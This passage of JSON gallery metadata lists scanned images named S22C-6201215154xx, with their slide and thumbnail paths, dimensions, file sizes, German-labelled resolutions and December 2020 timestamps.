    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515422_0001.jpg","dates":{"dateTaken":1608392592},"fileDate":"2020-12-19T16:43:12.474Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:12.474Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515423_0001.jpg","image":{"path":"slides\/S22C-620121515423_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515423 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515423_0001.jpg","width":340,"height":260},"fileSize":685001,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515423_0001.jpg","dates":{"dateTaken":1608392594},"fileDate":"2020-12-19T16:43:14.23Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:14.23Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515430_0001.jpg","image":{"path":"slides\/S22C-620121515430_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515430 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515430_0001.jpg","width":340,"height":260},"fileSize":270111,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515430_0001.jpg","dates":{"dateTaken":1608392596},"fileDate":"2020-12-19T16:43:16.205Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:16.205Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515431_0001.jpg","image":{"path":"slides\/S22C-620121515431_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515431 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515431_0001.jpg","width":340,"height":260},"fileSize":335718,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515431_0001.jpg","dates":{"dateTaken":1608392597},"fileDate":"2020-12-19T16:43:17.454Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:17.454Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515432_0001.jpg","image":{"path":"slides\/S22C-620121515432_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515432 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515432_0001.jpg","width":340,"height":260},"fileSize":665882,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515432_0001.jpg","dates":{"dateTaken":1608392598},"fileDate":"2020-12-19T16:43:18.709Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:18.709Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515433_0001.jpg","image":{"path":"slides\/S22C-620121515433_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515433 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515433_0001.jpg","width":340,"height":260},"fileSize":150471,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515433_0001.jpg","dates":{"dateTaken":1608392600},"fileDate":"2020-12-19T16:43:20.726Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:20.726Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515440_0001.jpg","image":{"path":"slides\/S22C-620121515440_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515440 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515440_0001.jpg","width":340,"height":260},"fileSize":967426,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515440_0001.jpg","dates":{"dateTaken":1608392603},"fileDate":"2020-12-19T16:43:23.636Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:23.636Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515442_0001.jpg","image":{"path":"slides\/S22C-620121515442_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515442 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515442_0001.jpg","width":340,"height":260},"fileSize":310840,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515442_0001.jpg","dates":{"dateTaken":1608392606},"fileDate":"2020-12-19T16:43:26.27Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:26.27Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515443_0001.jpg","image":{"path":"slides\/S22C-620121515443_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515443 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515443_0001.jpg","width":340,"height":260},"fileSize":205303,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515443_0001.jpg","dates":{"dateTaken":1608392607},"fileDate":"2020-12-19T16:43:27.120Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:27.120Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515444_0001.jpg","image":{"path":"slides\/S22C-620121515444_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515444 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515444_0001.jpg","width":340,"height":260},"fileSize":575653,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515444_0001.jpg","dates":{"dateTaken":1608392609},"fileDate":"2020-12-19T16:43:29.60Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:29.60Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515445_0001.jpg","image":{"path":"slides\/S22C-620121515445_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515445 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515445_0001.jpg","width":340,"height":260},"fileSize":588420,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515445_0001.jpg","dates":{"dateTaken":1608392610},"fileDate":"2020-12-19T16:43:30.777Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:30.777Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515450_0001.jpg","image":{"path":"slides\/S22C-620121515450_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515450 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515450_0001.jpg","width":340,"height":260},"fileSize":682717,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515450_0001.jpg","dates":{"dateTaken":1608392612},"fileDate":"2020-12-19T16:43:32.232Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:32.232Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515452_0001.jpg","image":{"path":"slides\/S22C-620121515452_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515452 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515452_0001.jpg","width":340,"height":260},"fileSize":303033,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515452_0001.jpg","dates":{"dateTaken":1608392615},"fileDate":"2020-12-19T16:43:35.636Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:35.636Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515453_0001.jpg","image":{"path":"slides\/S22C-620121515453_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515453 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515453_0001.jpg","width":340,"height":260},"fileSize":574971,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515453_0001.jpg","dates":{"dateTaken":1608392616},"fileDate":"2020-12-19T16:43:36.811Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:36.811Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515462_0001.jpg","image":{"path":"slides\/S22C-620121515462_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515462 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515462_0001.jpg","width":340,"height":260},"fileSize":513114,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515462_0001.jpg","dates":{"dateTaken":1608392619},"fileDate":"2020-12-19T16:43:39.859Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:39.859Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515470_0001.jpg","image":{"path":"slides\/S22C-620121515470_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515470 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515470_0001.jpg","width":340,"height":260},"fileSize":402894,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515470_0001.jpg","dates":{"dateTaken":1608392622},"fileDate":"2020-12-19T16:43:42.119Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:42.119Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515471_0001.jpg","image":{"path":"slides\/S22C-620121515471_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515471 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515471_0001.jpg","width":340,"height":260},"fileSize":631788,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515471_0001.jpg","dates":{"dateTaken":1608392624},"fileDate":"2020-12-19T16:43:44.209Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:44.209Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515473_0001.jpg","image":{"path":"slides\/S22C-620121515473_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515473 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515473_0001.jpg","width":340,"height":260},"fileSize":309266,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515473_0001.jpg","dates":{"dateTaken":1608392626},"fileDate":"2020-12-19T16:43:46.460Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:46.460Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515474_0001.jpg","image":{"path":"slides\/S22C-620121515474_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515474 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515474_0001.jpg","width":340,"height":260},"fileSize":448504,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515474_0001.jpg","dates":{"dateTaken":1608392627},"fileDate":"2020-12-19T16:43:47.522Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:47.522Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515480_0001.jpg","image":{"path":"slides\/S22C-620121515480_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515480 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515480_0001.jpg","width":340,"height":260},"fileSize":679057,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515480_0001.jpg","dates":{"dateTaken":1608392628},"fileDate":"2020-12-19T16:43:48.687Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:48.687Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515481_0001.jpg","image":{"path":"slides\/S22C-620121515481_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515481 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515481_0001.jpg","width":340,"height":260},"fileSize":276582,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515481_0001.jpg","dates":{"dateTaken":1608392629},"fileDate":"2020-12-19T16:43:49.675Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:49.675Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515482_0001.jpg","image":{"path":"slides\/S22C-620121515482_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515482 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515482_0001.jpg","width":340,"height":260},"fileSize":266488,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515482_0001.jpg","dates":{"dateTaken":1608392630},"fileDate":"2020-12-19T16:43:50.656Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:50.656Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515540_0001.jpg","image":{"path":"slides\/S22C-620121515540_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515540 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515540_0001.jpg","width":340,"height":260},"fileSize":268320,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515540_0001.jpg","dates":{"dateTaken":1608392631},"fileDate":"2020-12-19T16:43:51.630Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:51.630Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515541_0001.jpg","image":{"path":"slides\/S22C-620121515541_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515541 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515541_0001.jpg","width":340,"height":260},"fileSize":396800,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515541_0001.jpg","dates":{"dateTaken":1608392632},"fileDate":"2020-12-19T16:43:52.560Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:52.560Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515550_0001.jpg","image":{"path":"slides\/S22C-620121515550_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515550 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515550_0001.jpg","width":340,"height":260},"fileSize":308444,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515550_0001.jpg","dates":{"dateTaken":1608392634},"fileDate":"2020-12-19T16:43:54.621Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:54.621Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515551_0001.jpg","image":{"path":"slides\/S22C-620121515551_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515551 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515551_0001.jpg","width":340,"height":260},"fileSize":439557,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515551_0001.jpg","dates":{"dateTaken":1608392635},"fileDate":"2020-12-19T16:43:55.996Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:55.996Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515552_0001.jpg","image":{"path":"slides\/S22C-620121515552_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515552 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515552_0001.jpg","width":340,"height":260},"fileSize":245877,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515552_0001.jpg","dates":{"dateTaken":1608392637},"fileDate":"2020-12-19T16:43:57.420Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:57.420Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515553_0001.jpg","image":{"path":"slides\/S22C-620121515553_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515553 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515553_0001.jpg","width":340,"height":260},"fileSize":431244,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515553_0001.jpg","dates":{"dateTaken":1608392644},"fileDate":"2020-12-19T16:44:04.306Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:04.306Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515554_0001.jpg","image":{"path":"slides\/S22C-620121515554_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515554 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515554_0001.jpg","width":340,"height":260},"fileSize":791656,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515554_0001.jpg","dates":{"dateTaken":1608392645},"fileDate":"2020-12-19T16:44:05.779Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:05.779Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515560_0001.jpg","image":{"path":"slides\/S22C-620121515560_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515560 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515560_0001.jpg","width":340,"height":260},"fileSize":441817,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515560_0001.jpg","dates":{"dateTaken":1608392646},"fileDate":"2020-12-19T16:44:06.954Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:06.954Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515561_0001.jpg","image":{"path":"slides\/S22C-620121515561_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515561 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515561_0001.jpg","width":340,"height":260},"fileSize":699356,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515561_0001.jpg","dates":{"dateTaken":1608392648},"fileDate":"2020-12-19T16:44:08.74Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:08.74Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515562_0001.jpg","image":{"path":"slides\/S22C-620121515562_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515562 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515562_0001.jpg","width":340,"height":260},"fileSize":503237,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515562_0001.jpg","dates":{"dateTaken":1608392649},"fileDate":"2020-12-19T16:44:09.282Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:09.282Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515563_0001.jpg","image":{"path":"slides\/S22C-620121515563_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515563 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515563_0001.jpg","width":340,"height":260},"fileSize":143665,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515563_0001.jpg","dates":{"dateTaken":1608392650},"fileDate":"2020-12-19T16:44:10.592Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:10.592Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515570_0001.jpg","image":{"path":"slides\/S22C-620121515570_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515570 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515570_0001.jpg","width":340,"height":260},"fileSize":289800,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515570_0001.jpg","dates":{"dateTaken":1608392651},"fileDate":"2020-12-19T16:44:11.663Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:11.663Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515571_0001.jpg","image":{"path":"slides\/S22C-620121515571_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515571 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515571_0001.jpg","width":340,"height":260},"fileSize":255175,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515571_0001.jpg","dates":{"dateTaken":1608392652},"fileDate":"2020-12-19T16:44:12.682Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:12.682Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515572_0001.jpg","image":{"path":"slides\/S22C-620121515572_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515572 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515572_0001.jpg","width":340,"height":260},"fileSize":305560,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515572_0001.jpg","dates":{"dateTaken":1608392653},"fileDate":"2020-12-19T16:44:13.666Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:13.666Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515573_0001.jpg","image":{"path":"slides\/S22C-620121515573_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515573 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515573_0001.jpg","width":340,"height":260},"fileSize":354015,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515573_0001.jpg","dates":{"dateTaken":1608392654},"fileDate":"2020-12-19T16:44:14.647Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:14.647Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515574_0001.jpg","image":{"path":"slides\/S22C-620121515574_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515574 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515574_0001.jpg","width":340,"height":260},"fileSize":455730,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515574_0001.jpg","dates":{"dateTaken":1608392655},"fileDate":"2020-12-19T16:44:15.553Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:15.553Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515580_0001.jpg","image":{"path":"slides\/S22C-620121515580_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515580 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515580_0001.jpg","width":340,"height":260},"fileSize":596289,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515580_0001.jpg","dates":{"dateTaken":1608392656},"fileDate":"2020-12-19T16:44:16.481Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:16.481Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515581_0001.jpg","image":{"path":"slides\/S22C-620121515581_0001.jpg","width":1000,"height":722},"imageCaption":"

    S22C-620121515581 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515581_0001.jpg","width":340,"height":260},"fileSize":180085,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121515581_0001.jpg","dates":{"dateTaken":1608392657},"fileDate":"2020-12-19T16:44:17.368Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:17.368Z","resolution":"1535 x 2125"}},{"path":"S22C-620121515582_0001.jpg","image":{"path":"slides\/S22C-620121515582_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515582 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515582_0001.jpg","width":340,"height":260},"fileSize":362050,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515582_0001.jpg","dates":{"dateTaken":1608392658},"fileDate":"2020-12-19T16:44:18.675Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:18.675Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515583_0001.jpg","image":{"path":"slides\/S22C-620121515583_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515583 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515583_0001.jpg","width":340,"height":260},"fileSize":748299,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515583_0001.jpg","dates":{"dateTaken":1608392659},"fileDate":"2020-12-19T16:44:19.709Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:19.709Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515590_0001.jpg","image":{"path":"slides\/S22C-620121515590_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515590 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515590_0001.jpg","width":340,"height":260},"fileSize":556544,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515590_0001.jpg","dates":{"dateTaken":1608392660},"fileDate":"2020-12-19T16:44:20.863Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:20.863Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515591_0001.jpg","image":{"path":"slides\/S22C-620121515591_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515591 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515591_0001.jpg","width":340,"height":260},"fileSize":468680,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515591_0001.jpg","dates":{"dateTaken":1608392661},"fileDate":"2020-12-19T16:44:21.788Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:21.788Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515592_0001.jpg","image":{"path":"slides\/S22C-620121515592_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515592 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515592_0001.jpg","width":340,"height":260},"fileSize":297744,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515592_0001.jpg","dates":{"dateTaken":1608392668},"fileDate":"2020-12-19T16:44:28.865Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:28.865Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516000_0001.jpg","image":{"path":"slides\/S22C-620121516000_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516000 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516000_0001.jpg","width":340,"height":260},"fileSize":330567,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516000_0001.jpg","dates":{"dateTaken":1608392674},"fileDate":"2020-12-19T16:44:34.406Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:34.406Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516001_0001.jpg","image":{"path":"slides\/S22C-620121516001_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516001 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516001_0001.jpg","width":340,"height":260},"fileSize":626663,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516001_0001.jpg","dates":{"dateTaken":1608392675},"fileDate":"2020-12-19T16:44:35.814Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:35.814Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516002_0001.jpg","image":{"path":"slides\/S22C-620121516002_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516002 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516002_0001.jpg","width":340,"height":260},"fileSize":602266,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516002_0001.jpg","dates":{"dateTaken":1608392676},"fileDate":"2020-12-19T16:44:36.778Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:36.778Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516003_0001.jpg","image":{"path":"slides\/S22C-620121516003_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516003 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516003_0001.jpg","width":340,"height":260},"fileSize":401195,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516003_0001.jpg","dates":{"dateTaken":1608392677},"fileDate":"2020-12-19T16:44:37.869Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:37.869Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516004_0001.jpg","image":{"path":"slides\/S22C-620121516004_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516004 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516004_0001.jpg","width":340,"height":260},"fileSize":546408,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516004_0001.jpg","dates":{"dateTaken":1608392678},"fileDate":"2020-12-19T16:44:38.911Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:38.911Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516010_0001.jpg","image":{"path":"slides\/S22C-620121516010_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516010 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516010_0001.jpg","width":340,"height":260},"fileSize":440667,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516010_0001.jpg","dates":{"dateTaken":1608392679},"fileDate":"2020-12-19T16:44:39.811Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:39.811Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516011_0001.jpg","image":{"path":"slides\/S22C-620121516011_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516011 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516011_0001.jpg","width":340,"height":260},"fileSize":597546,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516011_0001.jpg","dates":{"dateTaken":1608392680},"fileDate":"2020-12-19T16:44:40.622Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:40.622Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516012_0001.jpg","image":{"path":"slides\/S22C-620121516012_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516012 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516012_0001.jpg","width":340,"height":260},"fileSize":446567,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516012_0001.jpg","dates":{"dateTaken":1608392681},"fileDate":"2020-12-19T16:44:41.281Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:41.281Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516013_0001.jpg","image":{"path":"slides\/S22C-620121516013_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516013 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516013_0001.jpg","width":340,"height":260},"fileSize":425686,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516013_0001.jpg","dates":{"dateTaken":1608392688},"fileDate":"2020-12-19T16:44:48.868Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:48.868Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516020_0001.jpg","image":{"path":"slides\/S22C-620121516020_0001.jpg","width":1000,"height":707},"imageCaption":"

